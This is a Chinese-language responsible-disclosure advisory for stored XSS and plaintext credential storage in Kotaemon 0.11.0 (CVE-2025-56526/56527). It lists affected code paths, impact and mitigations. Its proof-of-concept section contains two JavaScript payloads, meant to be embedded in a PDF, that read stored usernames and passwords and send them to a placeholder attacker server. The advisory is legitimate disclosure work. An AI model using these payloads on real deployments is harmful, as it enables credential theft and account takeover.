针对 CVE-2025-56526 和 CVE-2025-56527 的公开披露——Kotaemon 0.11.0 中通过未净化的 PDF 内容渲染导致的存储型 XSS 以及明文凭据暴露。包含完整的技术分析、PoC、影响评估和负责任披露时间线。
Kotaemon 信息面板中的存储型跨站脚本与
localStorage中的明文凭据存储相结合,使得单个恶意 PDF 上传即可导致完全会话劫持。
<= 0.11.0(包括提交 37cdc28)CVE-2025-56526 – 通过未净化的 PDF 内容渲染导致的存储型 XSSCVE-2025-56527 – localStorage 中存储明文用户名/密码| CVE ID | 弱点 | CWE | 主要影响 |
|---|---|---|---|
| CVE-2025-56526 | 通过 PDF 衍生的 HTML 导致存储型 XSS | CWE-79 | 任意 JavaScript 执行、数据外泄 |
| CVE-2025-56527 | 明文凭据存储 | CWE-922 | 凭证泄露、会话劫持 |
PDF 提取结果(文本、表格标记、图像元数据)未经转义直接注入 DOM。恶意 PDF 因此可以携带任意 HTML/JS,并在信息面板或推理视图渲染 retrieved_content 时执行。
受影响的代码路径包括:
libs/ktem/ktem/utils/render.py(Render.table、Render.image、Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py(table / image 渲染)libs/ktem/ktem/reasoning/simple.py 和 libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStorage 中的明文凭据存储libs/ktem/ktem/pages/login.py 与 libs/ktem/ktem/assets/js/main.js 将原始凭据直接存储到 localStorage 并从中读取:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
任何通过 XSS 向量执行的 JavaScript 都可以立即读取这些值,导致可靠的凭证窃取和长期有效的账户接管。
alt 属性或文本对象内): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password 对。Kotaemon 经常部署在本地或企业环境中,用户会上传敏感的内部文档。由于 PDF 衍生的内容在未进行净化的情况下被插入 DOM,攻击者可以将恶意载荷伪装在看似正常的业务文档中。
当受害者上传并查看该文档时,隐藏的 JavaScript 会自动执行,从 localStorage 窃取凭据并暴露私有的聊天记录和文档内容。
尽管触发动作看似由用户发起,但这并非自我 XSS。 根本原因是服务端未能净化从上传文件中提取的 HTML,从而在受信任的 UI 组件中实现存储型 XSS。
因此,在现实的社会工程场景中,单个恶意 PDF 即可导致完全账户沦陷。
html.escape、DOMPurify 或针对 DOM 接收点的 Trusted Types)。script-src 'self')和 Trusted Types 以缩小 DOM XSS 攻击面。screenshots/)







本公开公告遵循行业标准的负责任的披露做法:
Kotaemon(<= 0.11.0)的用户在安全修复可用之前应考虑以下措施:
[email protected]